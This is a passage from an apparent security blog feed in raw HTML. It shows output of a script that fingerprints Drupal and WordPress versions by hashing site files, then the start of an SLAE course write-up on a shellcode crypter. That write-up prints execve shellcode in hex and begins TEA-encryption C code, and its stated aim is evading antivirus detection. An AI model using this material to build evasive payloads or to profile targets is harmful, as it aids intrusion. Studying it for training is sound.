     /:/  /        /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/&lt;span class=&quot;se&quot;&gt;\ \ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;   /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:|:|  |     
    /:/__/  ___   /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  _&lt;span class=&quot;se&quot;&gt;\:\~\ \ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     /::&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; /:/  &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /:/|:|  |__   
    |:|  | /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/&lt;span class=&quot;se&quot;&gt;\ \:\ \ \_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; __/:/&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/ /:/__/ &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/ |:| /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; 
    |:|  |/:/  / &lt;span class=&quot;se&quot;&gt;\:\~\:\ \/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;_|::&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;:/  / &lt;span class=&quot;se&quot;&gt;\:\ \:\ \/&lt;/span&gt;__/ /&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;:/  /    &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/  / &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__|:|/:/  /  
    |:|__/:/  /   &lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     |:|::/  /   &lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:/__/      &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; /:/  /      |:/:/  /   
     &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:::/__/     &lt;span class=&quot;se&quot;&gt;\:\ \/&lt;/span&gt;__/      |:|&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/     &lt;span class=&quot;se&quot;&gt;\:\/&lt;/span&gt;:/  /    &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      &lt;span class=&quot;se&quot;&gt;\:\/&lt;/span&gt;:/  /       |::/  /    
      ~~~~          &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       |:|  |        &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:/  /      &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/        &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:/  /        /:/  /     
                     &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;__|         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/                     &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/      
        ___           ___           ___           ___           ___           ___           ___     
       /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;   
      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /:/  /        /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /:/  /        /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  
     /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/__/        /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/__/        /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; 
    /:/  &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;___   /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /:/  &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /::&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;___   /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;
   /:/__/ &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/__/ &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;::::&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__&lt;span class=&quot;se&quot;&gt;\:\/&lt;/span&gt;:/  / &lt;span class=&quot;se&quot;&gt;\:\~\:\ \/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;_|:|~~|~    &lt;span class=&quot;se&quot;&gt;\:\~\:\ \/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;_|::&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;:/  /
    &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;           &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:/  /   &lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;   &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;         |:|  |      &lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     |:|::/  / 
     &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;          /:/  /     &lt;span class=&quot;se&quot;&gt;\:\ \/&lt;/span&gt;__/     &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        |:|  |       &lt;span class=&quot;se&quot;&gt;\:\ \/&lt;/span&gt;__/      |:|&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/  
      &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /:/  /       &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       |:|  |        &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       |:|  |    
       &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;__|         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;__|    


&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Hint: &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;choosing relevant files to compare from a GIT repository:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; git log &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--pretty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;format: &lt;span class=&quot;nt&quot;&gt;--name-only&lt;/span&gt; | egrep &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;(.js&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.html&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.css&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;uniq&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rg&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-20&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; /tmp/work/hashes.txt found. Are you sure you want to overwrite and compute hashes &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Y/n]: 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Looking &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;tag: 7.0
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Looking &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;tag: 7.1
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Looking &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;tag: 7.2
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Looking &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;tag: 7.3
...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Checking filename /tmp/input/modules/color/color.js: abce1b13050367ea1c8806888c29b383
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Checking filename /tmp/input/modules/user/user.css: 1162bec186856e63a6ca207b04282816
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Checking filename /tmp/input/modules/user/user.js: 0409afa4203df9e19e5754663bf27ba8
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Checking filename /tmp/input/modules/overlay/overlay-parent.js: 9e7f29219143a79e528a59f1e5e2ab6e
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Thanks to strong and costly mathematical and statistical calculation:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; min version: 7.29
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; max version: 7.32
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Number of input files: 23
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; All input files have been found &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the following versions: 
7.32
7.31
7.30
7.29
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script is computing hashes for every input files found and for every git tags. If one input file is not found, the script will fail because we can not precisely determine a version that matches all input files.&lt;/p&gt;

&lt;p&gt;In our example, we finally have 23 input files from 30 relevant files (some has not been found on our target).&lt;br /&gt;
The final comparison between the input files hashes and the git tags hashes shows that the whole 23 input hashes match the versions 7.32, 7.31, 7.30, 7.29.&lt;/p&gt;

&lt;p&gt;So as previously seen in the CHANGELOG.txt, our version is well included (7.29).&lt;br /&gt;
You also can try with some others CMS like Wordpress. Here is what we got for example with a &lt;strong&gt;Wordpress 4.6&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./versionchecker.sh &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; ./input/ &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; ~/Documents/repo/WordPress/ &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;^4(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[0-9])+$&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Input files directory: /tmp/input
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Cleaning empty files and directory &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /tmp/input - Done
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; GIT repository: /root/Documents/repo/WordPress
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Grep pattern: ^4&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0-9]&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;+&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; min version: 4.6
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; max version: 4.6
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Number of input files: 24
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; All input files have been found &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the following versions: 
4.6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For wordpress we have only one possible version matching all the input files we provided thanks to the same procedure as seen for the Drupal CMS. We clearly know right now which version is running, &lt;strong&gt;4.6&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Hope it may helps you, give you some ideas, make you think about how to reduce your fingerprinting entropy.&lt;/p&gt;

&lt;p&gt;Cheers,&lt;br /&gt;
Phackt.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 7 - Custom crypter</title>
   <link href="https://phackt.org/slae-shellcode-crypter"/>
   <updated>2017-04-30T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-shellcode-crypter</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;
Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;assignment-7&quot;&gt;Assignment 7:&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Create a custom crypter&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;Free to use any existing encryption schema&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;Can use any programming language&lt;/em&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;In this last assignment we will aim at creating a shellcode crypter. The crypter program will cipher our shellcode in order to defeat any reverse-engineering analysis and to bypass fingerprint/signature based anti-virus detection.&lt;/p&gt;

&lt;p&gt;A quick search for a simple encryption algorithm leads to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm&quot;&gt;Tiny Encryption Algorithm&lt;/a&gt;:&lt;br /&gt;
&lt;em&gt;‘In cryptography, the Tiny Encryption Algorithm (TEA) is a block cipher notable for its simplicity of description and implementation, typically a few lines of code.’&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/slae/assignment7/image.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you want to read more about the Tiny Encryption Algorithm and its implementation and weaknesses nowadays, here is a &lt;a href=&quot;http://www.tayloredge.com/reference/Mathematics/TEA-XTEA.pdf&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For this assignment we will use the &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment7/execve-stack.nasm&quot;&gt;execve-stack.nasm&lt;/a&gt; shellcode:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now let’s create our C crypter &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment7/tea_crypter.c&quot;&gt;tea_crypter.c&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
